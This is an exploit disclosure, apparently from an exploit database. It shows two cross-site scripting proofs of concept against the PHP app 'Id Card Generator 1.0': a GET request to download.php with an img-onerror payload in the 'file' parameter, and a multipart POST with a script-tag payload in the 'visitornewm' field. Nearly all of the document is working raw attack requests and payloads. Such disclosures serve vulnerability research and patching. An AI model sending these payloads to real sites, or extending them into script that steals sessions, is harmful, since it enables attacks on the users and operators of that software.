Id Card Generator 1.0 Cross Site Scripting

`# Exploit Title: Id Card Generator | Cross Site Scripting 'download.php'  
# Exploit Author: Richard Jones  
# Date: 2021-03-28  
# Vendor Homepage: https://www.sourcecodester.com/php/12040/id-generator-php.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=12040&title=ID+Generator+in+PHP+with+Source+Code  
# Version: 1.0  
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34  
  
GET /id-card/download.php?file=%22%3E%3Cimg%20src=x%20onerror=%22confirm(%27XSS%27)%22%3E HTTP/1.1  
  
Host: TARGET  
  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
  
Accept-Language: en-US,en;q=0.5  
  
Accept-Encoding: gzip, deflate  
  
Referer: http://TARGET/id-card/download.php?file=%22%3E%3Cimg%20src=x%20onerror=%22confirm(%27XSS%27)%22%3E  
  
Connection: close  
  
Upgrade-Insecure-Requests: 1  
  
Cache-Control: max-age=0  
  
  
## Payload: "><img src=x onerror="confirm('XSS')">  
  
-------  
  
# Exploit Title: Id Card Generator | Cross Site Scripting   
# Exploit Author: Richard Jones  
# Date: 2021-03-28  
# Vendor Homepage: https://www.sourcecodester.com/php/12040/id-generator-php.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=12040&title=ID+Generator+in+PHP+with+Source+Code  
# Version: 1.0  
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34  
  
POST /id-card/ HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-GB,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---------------------------11277759132085478021703975389  
Content-Length: 466  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/id-card/  
Upgrade-Insecure-Requests: 1  
  
-----------------------------11277759132085478021703975389  
Content-Disposition: form-data; name="visitornewm"  
  
hello"><script>alert(`xss`)</script>  
-----------------------------11277759132085478021703975389  
Content-Disposition: form-data; name="dateinput"  
  
March 03, 2021  
-----------------------------11277759132085478021703975389  
Content-Disposition: form-data; name="process"  
  
Generate ID  
-----------------------------11277759132085478021703975389--  
`